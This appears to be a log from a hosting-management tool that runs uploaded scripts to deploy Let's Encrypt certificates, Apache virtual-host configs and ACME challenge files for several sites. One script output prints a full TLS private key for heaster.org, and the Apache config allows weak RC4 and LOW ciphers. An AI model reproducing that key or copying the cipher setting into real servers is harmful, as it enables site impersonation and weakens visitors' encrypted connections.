usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-28 06:00:19: 

chmod 755 /tmp/pkp650281; /tmp/pkp650281; rm /tmp/pkp650281

2025-12-28 06:00:19: 


dir=/etc/ssl/certs


2025-12-28 06:00:19: 

PUT: /tmp/pkp431969

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/heaster_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-28 06:00:19: 

chmod 755 /tmp/pkp431969; /tmp/pkp431969; rm /tmp/pkp431969

2025-12-28 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf 39

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-28 06:00:19: 

PUT: /tmp/pkp910677

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=heaster_www_org.conf
TARGET=/etc/apache2/sites-enabled/heaster_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/heaster_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/heaster_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf= 1'
fi


2025-12-28 06:00:19: 

chmod 755 /tmp/pkp910677; /tmp/pkp910677; rm /tmp/pkp910677

2025-12-28 06:00:19: 




2025-12-28 06:00:19: 

PUT: /tmp/pkp649974

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-28 06:00:19: 

chmod 755 /tmp/pkp649974; /tmp/pkp649974; rm /tmp/pkp649974

2025-12-28 06:00:19: 


.


2025-12-28 06:00:19: Establishing a connection
2025-12-28 06:00:19: 

PUT: /tmp/pkp508976

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-28 06:00:20: 

chmod 755 /tmp/pkp508976; /tmp/pkp508976; rm /tmp/pkp508976

2025-12-28 06:00:20: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-12-28 06:00:20: 

PUT: /tmp/pkp606609

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/heaster_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-28 06:00:20: 

chmod 755 /tmp/pkp606609; /tmp/pkp606609; rm /tmp/pkp606609

2025-12-28 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf	1347

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-28 06:00:20: 

PUT: /tmp/pkp946363

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-28 06:00:20: 

chmod 755 /tmp/pkp946363; /tmp/pkp946363; rm /tmp/pkp946363

2025-12-28 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt	5357
d6:4a:3c:12:18:d4:48:f9:af:4c:e3:6e:dd:2b:5d:c7

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBcDLmx4PB+5LK1bqxufcXZPAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI4MDUwMTQ4WhcNMjYwMzI4MDUwMTQ3WjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALVf
dCmsk7CrJ4sBBgszBgpENVOa3kBmYU0Pu/LkdzQXxPu45EM7P6rAt/kgp6eN8+RM
orHodJozP/+3RqyVbXyS+XNshsfPfkGU4XTMwR46EhpbmpYKamyJCUVbauGr9+Zd
WM8S+KulipVILgAqY3NajzaPerH5NN9Rn7778b+vnHQzyRreke1ouV7Vp/IcV4SW
w2vNq0y1nz9NCaR2T6z31q5rhEzOFd3rxP74AxphFfR/cd/L90jbdpBE/ZDMhfEw
rBjODOojJiagQ6dQ+jdWKG6mm4AtLc48OCj1wo+SEVmCtX57Cmc1u/UDD5Zh/z58
LnIvHSJueDafF97gMVkCAwEAAaOCAiwwggIoMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUYr/nUdLudQGuYWcas7YSQCbAhuwwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAnBgNVHREEIDAeggtoZWFzdGVyLm9yZ4IPd3d3LmhlYXN0
ZXIub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0
dHA6Ly9yMTIuYy5sZW5jci5vcmcvNjUuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB
8gDwAHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbY4sVlQAA
BAMARjBEAiB2bTq6CpmyoAWvkUxyEpMJLqxPUC7xfV6j6fuFmvWZ6AIgK6Y7ZI5Z
JFSbyLktxLE5e3gkHNP8mSvz4D1q//Zv/3wAdwDRbqmlaAd+ZjWgPzel3bwDpTxB
EhTUiBj16TGzI8uVBAAAAZtjixZ6AAAEAwBIMEYCIQChqC5CBtS72F9BpCcgTHHg
5mcWImBPypqOKgbCA01aqgIhANidjmI4mzbNwAyhiOuRxQzUIcGtF0XcpBHZPq7O
vz5CMA0GCSqGSIb3DQEBCwUAA4IBAQCRpUWvd6nMoujy41EJU22y5kZtoa/ekKox
y3yk+m5tUgaHAxp8SryPD1Aowrez6wC03FbeYAVts0dJLvNuZyLqx2TTn7zxj8iR
oioUulLsvrlDPb7d/dGu17RQBbfiAxd+0NK3JnIjxvONhtLLDjFs2JPK/JB9jj9i
0YDOewBHCRwd5CS5Ew4LRV7P49Oj9iExw6dFK9m6FYaNFfNzfFVO8gik+cray6ZL
9PYd7N3DdKm3Lij1jTnOZ0L+WN4YiSAyBfG3qk/JrzGput16Lo858iZ4cWsokW8h
Z3bXBFzsp7kXFAMiJjW6SQsAC8aa3/AMr4nRH+DSoxxK+y5E/vk4
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1X3QprJOwqyeL
AQYLMwYKRDVTmt5AZmFND7vy5Hc0F8T7uORDOz+qwLf5IKenjfPkTKKx6HSaMz//
t0aslW18kvlzbIbHz35BlOF0zMEeOhIaW5qWCmpsiQlFW2rhq/fmXVjPEvirpYqV
SC4AKmNzWo82j3qx+TTfUZ+++/G/r5x0M8ka3pHtaLle1afyHFeElsNrzatMtZ8/
TQmkdk+s99aua4RMzhXd68T++AMaYRX0f3Hfy/dI23aQRP2QzIXxMKwYzgzqIyYm
oEOnUPo3VihuppuALS3OPDgo9cKPkhFZgrV+ewpnNbv1Aw+WYf8+fC5yLx0ibng2
nxfe4DFZAgMBAAECggEAE2b0a3/bZb8NchyIK7sH1qHQzZKH235IQuDfw35GtTMk
vqPbAUktiKPomlUwsicok7/R+LOsA5HfcwjFXfF3PqgPWNZffbD36eaWDrNXplbi
eGDbwti25UjsjbeXkbAeiw1p0m8OXHhPQKRxzVE7hcvGfbjwEGlfC1O1Qc48YHun
4bpUOUs1SQlPBUQ+/OxrK7lu9ImS+OQS6okWFYrnb6Z2W8mhbPBjZKhGZslbc+NY
s8+RvUmZ+IVc+mByR4g+lLcjNEtsUHDz+53KyssSole4ThfYuH+C7QWfZVnQ1m8l
m0AoqtehyK3/mA1xz2bpOIe6mtOmF/gpZHF+1FONwQKBgQDeqCpxcEniTeYligme
3GuxXwlv4quW/tsizxAGhCrkWCoETarB0H04Kt4A0LqRofdag1kZU8ka1nNBlSoi
Ty7Jsd2uhlGGQIoF0H3R9Hv2K2UM9ImBlEB540lmQXhmU6a2+rD8zvn33DaPrWuR
/1cxRBviVIgQ+3u0bCJIfo1w+QKBgQDQiJzBtiidr2QMbfgb/lUvCZrZQ9zILhVb
GuSKT3a31ov3Tdj4ge2DjOz0g/yjVQ4jpqvfHs8G+5nuiLR/jH1xSGY/BPLCPgOg
SKHQIh4YRSYA6Oej9I1Rf6DM4mWurTVzRxC/+r4FZSpqWEJ14bntgIa5jODO/A+S
Q2AuYvc7YQKBgDGO5puHLbrEMfSrC8cjMokxKQ2ROzYJlcbipaN9qXpXsUpx6w7m
k+h7ihxOWShvD3pDAALmJj3l+5NeWxl13GkiQMBGv0CNfusaY9bmfuzk7cH7b9u6
nrtCfqTW77B+7/2MQPaULwkfJ7nFFMtTNRoPGdG/lOWKxBb9dogCOwMpAoGBAJ1v
ZhmBMuzJa5lOtNA9lYYrlDKPX3HqCMl9ZildkN1+JrGQnkwPm4eDr6lytBuDrWcR
ABU1J0u4TCCgKNVa9aG+7SKK09P+CbLK4w9Fkr70BZsOO0O277IlzvqfufDEZ+Qe
NPEblrZwCDO9an+g6UP7krsnNtpNxlvAbi7XHJxBAoGBAKXQXN0jfTgEvGM2TF88
eHIUvk9WTCemANvH366ivKbtcD8ID46YqaPrPvCqG9to59uz3c/iFD/E6KCZvxVE
Ilf13YwjCrIur9UvTH8KSDYcJue3/5iJtqw1ertsvUCDoCr5gNAwMkwDfwRmcI5q
BqoAmxHDZso6tightp61I8Ej
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-28 06:00:20: Establishing a connection
2025-12-28 06:00:20: Establishing a connection
2025-12-28 06:00:20: 

PUT: /tmp/pkp700222

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-28 06:00:21: 

chmod 755 /tmp/pkp700222; /tmp/pkp700222; rm /tmp/pkp700222

2025-12-28 06:00:21: 


1


2025-12-28 06:00:21: Establishing a connection
2025-12-28 06:00:22: 

PUT: /tmp/pkp517951

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > mlbv9gNDXFc_OCanRQjrG_OuMX0noqgOu1wEXfnqUSc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
mlbv9gNDXFc_OCanRQjrG_OuMX0noqgOu1wEXfnqUSc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 mlbv9gNDXFc_OCanRQjrG_OuMX0noqgOu1wEXfnqUSc


2025-12-28 06:00:22: 

chmod 755 /tmp/pkp517951; /tmp/pkp517951; rm /tmp/pkp517951

2025-12-28 06:00:22: 




2025-12-28 06:00:23: Establishing a connection
2025-12-28 06:00:23: Establishing a connection
2025-12-28 06:00:23: 

PUT: /tmp/pkp108843

#!/bin/bash
if [ -d "/var/www/baptizo_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-28 06:00:23: 

chmod 755 /tmp/pkp108843; /tmp/pkp108843; rm /tmp/pkp108843

2025-12-28 06:00:23: 


1


2025-12-28 06:00:24: Establishing a connection
2025-12-28 06:00:24: 

PUT: /tmp/pkp586032

#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
cat > 5cO8XOtXDWrb-W9KruTQUpe6h6f4geVkeF9WZy1TYKE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5cO8XOtXDWrb-W9KruTQUpe6h6f4geVkeF9WZy1TYKE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5cO8XOtXDWrb-W9KruTQUpe6h6f4geVkeF9WZy1TYKE
cat > TdWXmXlpcSZwGkjXIofdmtPBIX6oof1v6XuwI4YKCMw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TdWXmXlpcSZwGkjXIofdmtPBIX6oof1v6XuwI4YKCMw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TdWXmXlpcSZwGkjXIofdmtPBIX6oof1v6XuwI4YKCMw


2025-12-28 06:00:24: 

chmod 755 /tmp/pkp586032; /tmp/pkp586032; rm /tmp/pkp586032

2025-12-28 06:00:24: 




2025-12-28 06:00:35: Establishing a connection
2025-12-28 06:00:35: 

PUT: /tmp/pkp491642

#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
rm 5cO8XOtXDWrb-W9KruTQUpe6h6f4geVkeF9WZy1TYKE
rm TdWXmXlpcSZwGkjXIofdmtPBIX6oof1v6XuwI4YKCMw


2025-12-28 06:00:35: 

chmod 755 /tmp/pkp491642; /tmp/pkp491642; rm /tmp/pkp491642

2025-12-28 06:00:35: 




2025-12-28 06:00:35: Establishing a connection
2025-12-28 06:00:35: 

PUT: /tmp/pkp471119

#!/bin/bash
temp_file=$(mktemp)
TARGET=17284863e127d2ac83178e4d2ecd603a.crt

cat > $temp_file <<'endmsg'
36:bb:aa:02:70:c4:8c:46:58:fa:7a:1b:64:2a:53:c9

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBVt6HzhaCRTuB2Nn6F46fQGxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjA0WhcNMjYwMzI4MDUwMjAzWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDG
87IFN5sovfmQIQ6sefQTLQczsqQpll5zRyGmfXbeWIwvTcl6ENq0DI5/AtNEQ7nq
tRk4yuJBSex2jXwV91hZVpdXbtMwmr45wKcwqOjfENke4qkKrMQUuxv4JBO6YTHz
p+1GXVpp5ypRHPQhSgRamIjnJoCDp4kfgK2dtg/420eZLyjX+/p4bav6lU6Erq4Q
yi5uUYX1UyBnuPS0h84wbs1fmxUk9pBkRcV016EYWIHgAmkDpc9WPa2JFRa/IsOw
JwGjbBjYlMaEJ9ksUUq6xtmgpdUcNPDO/uu6aA/Ok9rftFnX1DYnwtz5lPbbr3YL
fEmHDubNlW6Z07QrFSS5AgMBAAGjggIvMIICKzAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFDtSliW9F8ANW35I7i9Sud6lhjbcMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMYmFwdGl6by5pbmZvghB3d3cuYmFw
dGl6by5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTAuY3JsMIIBBQYKKwYBBAHWeQIEAgSB
9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGbY4tV
